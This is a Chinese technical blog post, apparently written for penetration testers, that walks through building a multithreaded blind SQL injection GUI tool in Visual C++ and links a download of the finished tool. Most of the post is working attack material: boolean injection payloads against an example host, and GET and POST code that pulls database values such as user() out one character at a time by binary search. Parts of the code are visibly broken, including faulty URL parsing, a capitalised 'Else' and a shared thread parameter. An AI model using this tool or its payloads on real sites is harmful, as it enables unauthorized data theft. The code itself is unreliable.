對于白帽子來說,最鐘愛的SQL
注入工具莫過于sqlmap
。隨著攻防對抗的升級,sql
注入漏洞呈明顯下降的趨勢,同時也呈現出難發現、難利用的特點。在實際測試的時候發現,有時明明手工確認的注入,丟進sqlmap
確無法識別出來。于是乎就有了各種py
腳本來跑數據。通常找到一個注入在sqlmap
識別不出或者無法跑出數據的情況下,到處找合適的腳本,然后再修改,如果對PY腳本熟悉,可能也來的快,但是假如對PY
腳本不是很熟悉,每次必然花費大量精力和時間在此上面。因此在常用工具無法識別SQL
注入或者無法跑出數據的時候,用VC
做一個通用GU
I框架,采用半自動、多線程并發的方式來進行SQL
盲注,就顯得既方便又節約時間。程序界面設計如圖(只為功能,不求美觀):
如果常用的比較強大的注入工具能識別、能跑出數據當然就不需要該工具,也就當其他工具無法識別,我們也能構造出payload
證明注入的存在時,這時候我們只需將構造好的payload
填入工具的參數里,讓工具幫我們自動出數據,這是工具的設計初衷。通常sql
注入有兩種請求數據方式一種是get
,一種是post
。存在注入的參數一般在請求的url
中或者post
的data
數據中,我們將分兩種情況來設計該注入工具。
對于此方式,注入參數在URL地址里,我們需要填好URL
和頁面差異字符串就可以了。比如我們在測試的時候,找到一個注入點,并且構造好了出數據的注入語句類似如下:
http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>1),"d",1)+"ef/
這里通過改變mid
第二個參數的值可以遍歷猜解user()
的每個字符,這樣就有兩個變量了,這是其中一個,這里命名為A
,A
的取值在于USER
的長度比如1-20。另一個就是>
后面的數字,命名為B
,B
的取值范圍設為32-126,這個范圍包含了所有可見字符的ASC
碼,通過改變該數字B
我們就可以得到對應的每個正確的字符。通常情況下我們構造的注入語句如果為真即ascii(mid(user(),1,1))>1
成立,那么返回正常頁面,如果不成立返回其他頁面。我們把正常頁面里有而異常頁面里沒有的一個字符串作為keyword
。比如訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>100),"d",1)+"ef/
后返回正常頁面包含keyword
,訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>101),"d",1)+"ef/
后返回異常頁面沒有keyword
,這樣我們就判斷出ascii(mid(user(),1,1))=101
。
那么我們設計程序的時候我們把A
B
兩個變量用*
代替以告訴程序它們是需要改變的,把keyword
也提交給程序,告訴它得到keyword
的時候就表示訪問的頁面里的注入語句為真,否則為假。這樣就可以讓程序自動循環遍歷所有的其他字符了。由于涉及循環里面界面顯示的問題,所以猜解函數務必要放到線程里面,否則界面會卡死。
為了減少猜解時間,這里我們采用二分法查找數據(由于業余編程,代碼只為實現功能,編碼不好,請諒解),其關鍵代碼如下:
#!c
left=32; //設置二分法查找初始值,范圍就是可見字符的ASC碼范圍
right=126;
while((right-left)!=1)
//二分法查找,當某次命中目標時,由于是(假如)
//用>判斷,所以值域范圍將左移到左邊中間點,接
//著再慢慢向右移動,由于是二分取整操作,那么直//到left、 right差為1的時候 判斷會結束,這時right
//就是最終值了。<號時 相反 最終取值left。
{
strcpy(url,ysurl); //用指針來操作字符串,有點臃腫
p1=strstr(url,"*");
*p1='\0';
p1=strstr(ysurl,"*");
p1++;
char buf[3];
itoa(i,buf,10); //猜解第i位
strcat(url,buf);
strcat(url,p1); //這部分定位2個*的位置 并處理好URL,
p1=strstr(url,"*");
*p1='\0';
p1=strstr(ysurl,"*");
p1++;
p1=strstr(p1,"*");
p1++;
j=(left+right)/2;
itoa(j,buf,10);
strcat(url,buf);
strcat(url,p1);
wsprintf(bufx,"%c",j);
dresult+=bufx;
thelist->SetItemText(i-1,0,dresult);
//設置列表框顯示
CInternetSession session("HttpClient");
CHttpFile* pfile = (CHttpFile *)session.OpenURL(url); //get方式 訪問url
DWORD dwStatusCode;
pfile -> QueryInfoStatusCode(dwStatusCode);
if(dwStatusCode == HTTP_STATUS_OK)
{
CString data;
while (pfile -> ReadString(data))
{
content += data + "\r\n";
}
content.TrimRight();//獲得請求url后頁面返回內容
//printf(" %s\n " ,(LPCTSTR)content);
}
pfile -> Close();
delete pfile;
session.Close();
if (large==1) //如果比較的時候用的是>的情況
{
if(content.Find(keyword)>0) //從返回內容查找是否有keyword
left=j;
else right=j;
}
Else //比較符為<時的情況
{
if(content.Find(keyword)>0)
right=j;
else left=j;
}
content.Empty();
dresult.Delete(dresult.GetLength()-1,1);
}
if(large==1)
{
rbuf[i-1]=(char)right; //如果是> right作為循環結束后的結果
wsprintf(buf,"%c\r\n",right);
}
Else ////如果是< left作為循環結束后的結果
{
rbuf[i-1]=(char)left;
wsprintf(buf,"%c\r\n",left);
}
dresult+=buf;
dresult+=" ok!";//第i位結果猜解完畢
接下來我們把這段代碼放在另外一個循環里for(i=1,i<21,i++)
這樣就可以循環遍歷user每一位字符。多線程我們放到最后來講。
和get
方式不同的地方,這里post
注入參數在data
中,其實放在哪里都沒關系,主要的是要將數據向對方80
端口發送出去,最后我們要獲取返回內容并根據keyword
來判斷條件的真假,最終確定我們想要得到的每個字符。與GET
方式不同的是我們需要實現一個函數,來向服務器post
請求數據,完整代碼如下:
#!c
CString Postdata(char *url,char *data) //傳遞兩個參數 url 和data
{
LPTSTR AcceptTypes[2] = {TEXT("*/*"), NULL}; //接受文件的類型
CString strHeaders = _T("Content-Type: application/x-www-form-urlencoded\r\n");
charszReferer[100] = "http://www.test.com";
CString szFormData = data; //post的”參數“
HINTERNET hSession;
HINTERNET hConnect;
HINTERNET hRequest;
BOOL bReturn = FALSE;
char *p1,*p2;
p1=strstr(url,"http://"); //對url處理 獲得服務器地址 以及訪問目錄
p1+=2;
p2=strstr(p1,"/");
char host[100];
memset(host,0,100);
strncpy(host,p1,p2-p1);
p2++;
char road[100];
memset(road,0,100);
strcpy(road,p2); // 建立HTTP請求
hSession = InternetOpen("AutoVoteVisPostMethod",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
hConnect = InternetConnect(hSession,host,
INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,1); hRequest = HttpOpenRequest(hConnect,"POST",road,
"HTTP/1.1",szReferer,(LPCSTR *)&AcceptTypes,INTERNET_FLAG_RELOAD,1); // 提交數據
LPVOID pBuf = (LPVOID)szFormData.GetBuffer(szFormData.GetLength());
bReturn = HttpSendRequest(hRequest,
strHeaders,-1L,pBuf,szFormData.GetLength());
char szRecvBuf[1024]; // 接受數據緩沖區
DWORD dwNumberOfBytesRead; // 服務器返回大小
DWORD dwRecvTotalSize=0; // 接受數據總大小
DWORD dwRecvBuffSize=0; // 接受數據buf的大小
CFile m_File; // 將返回數據寫入文件
CString strTemp,mystr; // 臨時消息框
memset(szRecvBuf,0,1024);
do
{
// 開始讀取數據
bReturn = InternetReadFile(hRequest,szRecvBuf,1024,&dwNumberOfBytesRead);
szRecvBuf[dwNumberOfBytesRead] = '\0';
dwRecvTotalSize += dwNumberOfBytesRead;
dwRecvBuffSize += strlen(szRecvBuf);
mystr+=szRecvBuf;
} while(dwNumberOfBytesRead !=0);
return mystr;
}
接下來就和GET
方式注入大同小異了,主要就是根據返回的內容以及keyword
來判斷確定每個字符。關鍵代碼如下:
#!c
i=SomeParam1->i;
//和GET方式不同,這里用CString類來對字符串操作 看起來要美觀一點
mdata.Delete(index1,1); //刪除*
itoa(i,buf,10);
mdata.Insert(index1,buf); //插入i
if(i>9)
{
index2+=1;//前面*位置插入了2個字符 后面*的位置要加1了
}
//以后長度就固定了 不用
char buf2[30];
wsprintf(buf2,"猜解第%d位:",i);
dresult+=buf2;
thelist->InsertItem(i-1,dresult,0);
while((right-left)!=1)
{
CString rdata;
mdata.Delete(index2,1);
if(j>10)mdata.Delete(index2,1); //之前插入2位字符那么就要多刪一次
if(j>99)mdata.Delete(index2,1); //三位就再多刪一次
j=(left+right)/2;
itoa(j,buf,10);
mdata.Insert(index2,buf); //插入j 參與比較的字符的ASC碼
wsprintf(bufx,"%c",j);
dresult+=bufx;
thelist->SetItemText(i-1,0,dresult); //顯示當前參與比較的字符
CString tdata;
tdata=mdata;
rdata=Postdata(url,tdata.GetBuffer(tdata.GetLength()));//發送post請求
if (large==1) //這里和get方式類似
{
if(rdata.Find(keyword.GetBuffer(keyword.GetLength()))>0)
left=j;
else right=j;
}
dresult.Delete(dresult.GetLength()-1,1); //刪除當前參與比較的字符,即
} //在原位置顯示下一個參與比較的字符
if(large==1)
{
rbuf[i-1]=(char)right;
wsprintf(buf,"%c\r\n",right);
}
dresult+=buf; //得到結果
dresult+=" ok!";
thelist->SetItemText(i-1,0,dresult);
如果我們把每個字符的猜解都開一個線程,那么將大大提高猜解的時間。由于原本我們顯示是用的文本控件,那么多線程的時候是沒辦法完全顯示猜解的過程的。于是必須改用列表控件。這樣每個線程i對應一個顯示行,這樣就可以完整顯示猜解過程了。但是還有個問題,這個列表控件是不可編輯的,也就是最終的結果不能復制下來,這樣是很不方便的。
經過左思右想,我們可以定義一個字符數組char rbuf[20]
,rbuf[]
數組初始化為20個空格,每開一個線程得到的結果就放到rbuf[i]
里,每一個線程結束的時候都進行一次顯示設置:
myresult=rbuf;
kjResult->SetWindowText(myresult); //顯示到文本控件里
這樣當一個線程結束時會顯示一次rbuf
數組的字符,如果猜解出來的就顯示出來,沒猜解出來的顯示的就是空格,當最后一個線程結束的時候,rbuf
保存的是所有線程的猜解結果,就完全顯示出來了。顯示問題解決后,那么接著解決多線程問題:
首先將我們的post
、get
猜解函數定義成多線程函數格式:
static UINT __cdecl MyGetInject(LPVOID lpParam);
static UINT __cdecl MyPostInject(LPVOID lpParam);
由于是static
的 那么我們初始化時自動生成的控件變量都是不可以寫進上面的函數里的。所以必須首先定義個結構體,然后把這些變量通過結構體傳遞給線程函數,結構體如下:
#!c
struct Param
{
int i; //user長度,循環次數,也時線程數
CString url; //請求的url 這些是需要通過控件變量傳遞來的
CString keyword;
CString data;
CEdit *result; //顯示最后結果的控件變量
CListCtrl *list; //顯示猜解過程的控件變量
};
萬事具備之后,我們就可以循環開啟線程了:
#!c
Param SomeParam;
SomeParam.url=m_url;
SomeParam.keyword=m_key;
SomeParam.result=lresult;
SomeParam.data=m_data;
SomeParam.list=(CListCtrl *)GetDlgItem(IDC_LIST2);
int i=0;
for(i=0;i<21;i++)
{
SomeParam.i=i;
AfxBeginThread(MyPostInject,(LPVOID)&SomeParam);//循環開啟猜解線程
Sleep(1); //要sleep一下 否則第一條顯示有問題,還沒來得及 后面的線程就會吞沒它的
}
到此我們的盲注輔助工具就算完工了。程序猜解過程界面如圖(GET 方式): 所有線程都還沒猜解出結果時:
部分線程猜解除結果時:
所有線程猜解完畢時:
1、使用的時候請務必提供注入所需要的參數,否則程序會崩潰。使用方法: http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>100),"d",1)+"ef/
如果猜解user()
,那么就改成http://a.abc.com/abc"+if((ascii(mid(user(),*,1))>*),"d",1)+"ef/
,注入參數里需要兩個*
。也可以將user()
換成其他的,比如@@version
等。
訪問http://a.abc.com/abcef/
選擇一個非漢字的字符串作為keyword
,同時訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>255),"d",1)+"ef/
檢查下這個頁面沒有keyword
,那么這個keyword才可用。
2、程序限定了開20個線程,猜解字段名的前20個字符。
3、本程序只是在其他強大的注入工具無法識別或者不能出數據的時候,以作檢測證明之用。當然您也可以用py腳本,可以靈活修改。望此文起拋磚引玉之效!
4、下載地址:http://yunpan.cn/cmYhLZP983U6J(提取碼:3abe
)